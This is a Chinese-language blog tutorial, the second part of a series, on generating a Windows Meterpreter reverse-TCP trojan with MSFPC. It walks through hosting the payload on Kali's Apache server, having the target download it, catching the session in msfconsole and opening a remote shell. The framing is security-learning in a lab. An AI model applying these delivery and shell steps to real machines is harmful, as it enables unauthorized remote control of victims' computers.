码迷,mamicode.com
首页 > 其他好文 > 详细

白帽子***与网络安全工程师教你:如何使用MSFPC半自动化生成强大的木码?【下集】

时间:2020-10-10 18:11:06      阅读:57      评论:0      收藏:0      [点我收藏+]

标签:png   dex   blog   log   tps   erp   插入   分享   命令   

课前声明:
1、本分享仅做学习交流,请自觉遵守法律法规!
2、搜索:Kali 与编程,学习更多网络***干货!
3、Kali 与编程每天准时更新,敬请学习和关注!

正文部分
三、战略安排
3.1 查看监听主机的apapche2状态,如下图所示。
命令:service apapche2 status
技术图片

3.2 开启监听主机的apapche2主机,如下图所示。
命令:service apache2 start
技术图片
3.3 将生成的“windows-meterpreter-staged-reverse-tcp-555.exe”文件复制到apapche2目录下,如下图所示。
命令:cp windows-meterpreter-staged-reverse-tcp-555.exe /var/www/html
技术图片
3.4 删除“/var/www/html”目录下一些不相干的文件,只保留payload文件,如下图所示。
命令:rm /var/www/html/index.html
命令:rm /var/www/html/index.nginx-debian.html
技术图片
技术图片
3.5 查看“/var/www/html”目录下是否只存在payload文件,如下图所示。
命令:ls /var/www/html/
技术图片
3.6 在物理机中访问处于监听状态下的kali linux主机,如下图所示。
技术图片
3.7 将生成的payload文件下载到物理主机,如下图所示。
技术图片
3.8 连接payload文件,如下图所示。
命令:msfconsole -q -r ‘/root/windows-meterpreter-staged-reverse-tcp-5555-exe.rc‘
技术图片
技术图片
3.9 查看session信息,如下图所示。
命令:session -i 1
技术图片
技术图片
3.10 成功拿下目标主机,如下图所示,查看目标主机的系统信息。
命令:sysinfo
技术图片
3.10.1 利用shell访问目标主机,如下图所示。
命令:shell
技术图片
3.10.2 解决shell界面乱码问题,如下图所示。
chcp 65001
技术图片
技术图片
辛苦原创,你的每一次评论点赞和关注,都是我们源源不断的创作动力哦!你也可搜索:Kali 与编程,学习更多 Kali Linux ***与白帽编程技巧呢!
点我学习更多Kali Linux***测试与网络***实战技巧!

白帽子***与网络安全工程师教你:如何使用MSFPC半自动化生成强大的木码?【下集】

标签:png   dex   blog   log   tps   erp   插入   分享   命令   

原文地址:https://blog.51cto.com/14308022/2540960

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!